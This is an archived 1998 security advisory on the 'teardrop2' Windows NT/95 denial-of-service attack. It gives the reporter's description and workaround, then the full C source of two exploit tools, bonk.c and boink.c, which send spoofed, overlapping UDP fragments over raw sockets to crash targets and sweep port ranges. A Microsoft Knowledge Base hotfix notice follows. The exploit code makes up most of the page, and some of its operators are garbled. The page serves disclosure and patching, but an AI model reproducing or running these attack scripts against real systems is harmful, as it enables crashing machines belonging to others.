Windows NT Teardrop2 Attack

Reported January 8, 1998 by Jiva DeVoe

Systems Affected

Date: Thu, 08 Jan 1998 01:52:43 -0700
From: Jiva DeVoe jiva@devware.com

This is just an FYI. I have confirmed and reproduced a new Denial of Service exploit for Windows NT and Windows95. Under Windows NT this exploit causes a proverbial BSOD, under Windows95, this causes an
exception in IFSMGR.VXD. 

This exploit has been reported to Microsoft!

Description

Without putting out a blueprint of how to cause this. This is a modified teardrop attack. (NOTE: This DOES affect machines patched against teardrop) It utilizes UDP packets with altered headers. I have also provided Microsoft with source code to this exploit.

Temporary Workaround

Any workaround that would have been implemented against teardrop should work against this issue. By default, the UDP packets used in this exploit are aimed at very high port numbers. So perhaps by blocking UDP packets destined for high port numbers, you might be able to prevent this attack. However, since it can be aimed at any port, a clever user could get around filters such as this. I"d be happy to talk to anyone about other alternatives for working around this issue.

-------------
Jiva DeVoe
MCSE
Devware Systems
jiva@devware.com

Demonstration Code:

\[ TCP CODE SET \]

bonk.c - 5/01/1998
Based On: teardrop.c by route|daemon9 & klepto
Crashes *patched* win95/(NT?) machines.

Basically, we set the frag offset > header length (teardrop reversed). There are many theories as to why this works, however i do not have the resources to perform extensive testing. I make no warranties. Use this code at your own risk. Rip it if you like, i"ve had my fun.

*/

#include <stdio.h>
#include <string.h>

#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_udp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>

#define FRG_CONST 0x3
#define PADDING 0x1c

struct udp_pkt
\{
struct iphdr ip;
struct udphdr udp;
char data\[PADDING\];
\} pkt;

int udplen=sizeof(struct udphdr),
iplen=sizeof(struct iphdr),
datalen=100,
psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING,
spf_sck; /* Socket */

void usage(void)
\{
fprintf(stderr, "Usage: ./bonk <src_addr> <dst_addr> \[num\]\n");
exit(0);
\}

u_long host_to_ip(char *host_name)
\{
static u_long ip_bytes;
struct hostent *res;

res = gethostbyname(host_name);
if (res

NULL)
return (0);
memcpy(&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
\}

void quit(char *reason)
\{
perror(reason);
close(spf_sck);
exit(-1);
\}

int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt,
int dst_prt)
\{
int bs;
struct sockaddr_in to;

memset(&pkt, 0, psize);
/* Fill in ip header */
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(udplen + iplen + PADDING);
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = IP_UDP;
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons(0x2000); /* more to come */

pkt.udp.source = htons(src_prt); /* udp header */
pkt.udp.dest = htons(dst_prt);
pkt.udp.len = htons(8 + PADDING);
/* send 1st frag */

to.sin_family = AF_INET;
to.sin_port = src_prt;
to.sin_addr.s_addr = dst_addr;

bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof(struct sockaddr));

pkt.ip.frag_off = htons(FRG_CONST + 1); /* shinanigan */
pkt.ip.tot_len = htons(iplen + FRG_CONST);
/* 2nd frag */

bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0,
(struct sockaddr *) &to, sizeof(struct sockaddr));

return bs;
\}

void main(int argc, char *argv\[\])
\{
u_long src_addr,
dst_addr;

int i,
src_prt=53,
dst_prt=53,
bs = 1,
pkt_count = 10; /* Default amount */

if (argc < 3)
usage();

if (argc 4)
pkt_count = atoi(argv\[3\]); /* 10 does the trick */

/* Resolve hostnames */

src_addr = host_to_ip(argv\[1\]);
if (!src_addr)
quit("bad source host");
dst_addr = host_to_ip(argv\[2\]);
if (!dst_addr)
quit("bad target host");

spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!spf_sck)
quit("socket()");
if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
sizeof(bs)) < 0)
quit("IP_HDRINCL");

for (i = 0; i < pkt_count; ++i)
\{
fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt);
usleep(10000);
\}

printf("Done.\n");
\}

\[ IMPROVED CODE SET FOR UDP PORTS \]

/*
boink.c - a modified bonk.c

bonk.c - 5/01/1998
Based On: teardrop.c by route|daemon9 & klepto
Crashes *patched* win95/(NT?) machines.

Basically, we set the frag offset > header length (teardrop reversed). There are many theories as to why this works, however i do not have the resources to perform extensive testing. I make no warranties. Use this code at your own risk. Rip it if you like, i"ve had my fun.

Modified by defile(efnet) \[01/09/98\]

As it stood before, bonk.c just simply attacked port 55. Upon scanning my associates, I"ve noticed port 55 isn"t always open. It varies in fact, while other ports remain open and vulnerable to this attack. I realized that Microsoft just might fix this by blocking port 55 off or something completely lame like that, and that is unacceptable.

As of this modification, you provide both a "start" and a "stop" port to test for the weakness, in the attempt to catch a possibly open port. (I"ve noticed port 55 seemed to come open more frequently on machines that were running IE though)

Hopefully this will encourage Microsoft to write a REAL fix instead of just make lackey fixes as they"ve had in the past.

Please only use this to test your own systems for vulnerability, and if it is, bitch at Microsoft for a fix. I am not responsible for any damage that may come and as stated above by the author, this might not even work. I make no claims to the ownership to any portions of this source in any way.

*/

#include <stdio.h>
#include <string.h>

#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_udp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>

#define FRG_CONST 0x3
#define PADDING 0x1c

struct udp_pkt
\{
struct iphdr ip;
struct udphdr udp;
char data\[PADDING\];
\} pkt;

int udplen=sizeof(struct udphdr),
iplen=sizeof(struct iphdr),
datalen=100,
psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING,
spf_sck; /* Socket */

void usage(void)
\{
/* fprintf(stderr, "Usage: ./bonk <src_addr> <dst_addr> \[num\]\n"); */
fprintf (stderr, "Usage: ./boink <src_addr> <dst_addr> <start_port> <stop_port> \[num\]\n");
exit(0);
\}

u_long host_to_ip(char *host_name)
\{
static u_long ip_bytes;
struct hostent *res;

res = gethostbyname(host_name);
if (res

NULL)
return (0);
memcpy(&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
\}

void quit(char *reason)
\{
perror(reason);
close(spf_sck);
exit(-1);
\}

int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt,
int dst_prt)
\{
int bs;
struct sockaddr_in to;

memset(&pkt, 0, psize);
/* Fill in ip header */
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(udplen + iplen + PADDING);
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = IP_UDP;
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons(0x2000); /* more to come */

pkt.udp.source = htons(src_prt); /* udp header */
pkt.udp.dest = htons(dst_prt);
pkt.udp.len = htons(8 + PADDING);
/* send 1st frag */

to.sin_family = AF_INET;
to.sin_port = src_prt;
to.sin_addr.s_addr = dst_addr;

bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof(struct sockaddr));

pkt.ip.frag_off = htons(FRG_CONST + 1); /* shinanigan */
pkt.ip.tot_len = htons(iplen + FRG_CONST);
/* 2nd frag */

bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0,
(struct sockaddr *) &to, sizeof(struct sockaddr));

return bs;
\}

void main(int argc, char *argv\[\])
\{
u_long src_addr,
dst_addr;

int i,
/* src_prt = 55,
dst_prt = 55, */
start_port,
stop_port,
bs = 1,
pkt_count;

if (argc < 5)
usage();

start_port = (u_short) atoi (argv\[ 3 \]);
stop_port = (u_short) atoi (argv\[ 4 \]);
if (argc 6)
pkt_count = atoi (argv\[ 5 \]);


if (start_port >= stop_port ||
stop_port <= start_port) \{

start_port = 25;
stop_port = 65;

\}


if (pkt_count

0) pkt_count = 10;

/* Resolve hostnames */

src_addr = host_to_ip(argv\[1\]);
if (!src_addr)
quit("bad source host");
dst_addr = host_to_ip(argv\[2\]);
if (!dst_addr)
quit("bad target host");

spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!spf_sck)
quit("socket()");
if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
sizeof(bs)) < 0)
quit("IP_HDRINCL");

for (i = 0; i < pkt_count; ++i)
\{
int j;

printf ("(%d)%s:%d->%d\n", i, argv\[ 2 \], start_port, stop_port);

for (j = start_port; j != stop_port; j++) \{

/* fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt); */
fondle (spf_sck, src_addr, dst_addr, j, j);

\}
usleep(10000);
\}

printf("Done.\n");
\}

Microsoft"s Response:

DOCUMENT:Q179129
TITLE :STOP 0x0000000A or 0x00000019 Due to Modified Teardrop Attack
PRODUCT :Microsoft Windows NT
PROD/VER:3.51 4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbbug3.51 kbfix4.00 kbfix3.51 kbfile NTSrvWkst nttcp

--------------------------------------------------------------------------
The information in this article applies to:

- Microsoft Windows NT Workstation versions 3.51 and 4.0
- Microsoft Windows NT Server versions 3.51 and 4.0
- Microsoft Windows NT Server Enterprise Edition version 4.0
--------------------------------------------------------------------------

SYMPTOMS
=

Windows NT may stop responding (hang) with a STOP 0x0000000A or 0x00000019 message after receiving a number of deliberately corrupted UDP packets.

CAUSE

This behavior occurs due to a variation of the "teardrop" attack. Windows NT 4.0 with Service Pack 3 and the ICMP-fix is not susceptible to the original form of the teardrop attack. For more information on the ICMP-fix, please see the following article in the Microsoft Knowledge Base: 

ARTICLE-ID: Q154174
TITLE : Invalid ICMP Datagram Fragments Hang Windows NT, Windows 95

The modified teardrop attack works by sending pairs of deliberately constructed IP fragments which are reassembled into an invalid UDP datagram. Overlapping offsets cause the second packet to overwrite data in the middle of the UDP header contained in the first packet in such a way that the datagrams are left incomplete.

As Windows NT receives these invalid datagrams, it allocates kernel memory. If enough of these invalid datagrams are received Windows NT may hang with a STOP 0x0000000A or 0x00000019.

RESOLUTION
=====

Windows NT 4.0
--------------

To resolve this problem, obtain the following fix or wait for the next Windows NT service pack.

This fix should have the following time stamp:

01/09/98 08:16a 143,664 Tcpip.sys (Intel)
01/09/98 08:13a 263,536 Tcpip.sys (Alpha)

This hotfix has been posted to the following Internet location:

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP3/teardrop2-fix/

NOTE: This fix supercedes the ICMP-fix, the OOB-fix, and the Land-fix hotfixes.

Windows NT 3.51
---------------

To resolve this problem, obtain the following fix.

This fix should have the following time stamp:

01/14/98 12:04p 123,824 Tcpip.sys (Intel)
01/14/98 12:00p 216,848 Tcpip.sys (Alpha)

This hotfix has been posted to the following Internet location:

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT351/hotfixes-postSP5/teardrop2-fix/

NOTE: This fix supercedes the ICMP-fix, the OOB-fix, and the Land-fix hotfixes.

STATUS
=

Windows NT 4.0
--------------

Microsoft has confirmed this to be a problem in Windows NT version 4.0. A supported fix is now available, but has not been fully regression-tested and should be applied only to systems experiencing this specific problem. Unless you are severely impacted by this specific problem, Microsoft recommends that you wait for the next Service Pack that contains this fix. Contact Microsoft Technical Support for more information.

Windows NT 3.51
---------------

Microsoft has confirmed this to be a problem in Windows NT version 3.51. A supported fix is now available, but is not fully regression tested and should be applied only to systems experiencing this specific problem. Unless you are severely impacted by this specific problem, Microsoft recommends that you wait for the next Service Pack that contains this fix. Contact Microsoft Product Support Services for more information.

Additional reference words: 4.00 3.51 spoof crash crashes

© 1998 Microsoft Corporation. All rights reserved. Terms of Use.

To learn more about new NT security concerns, subscribe to NTSD.

Posted here at NTSecurity.Net February 15, 1997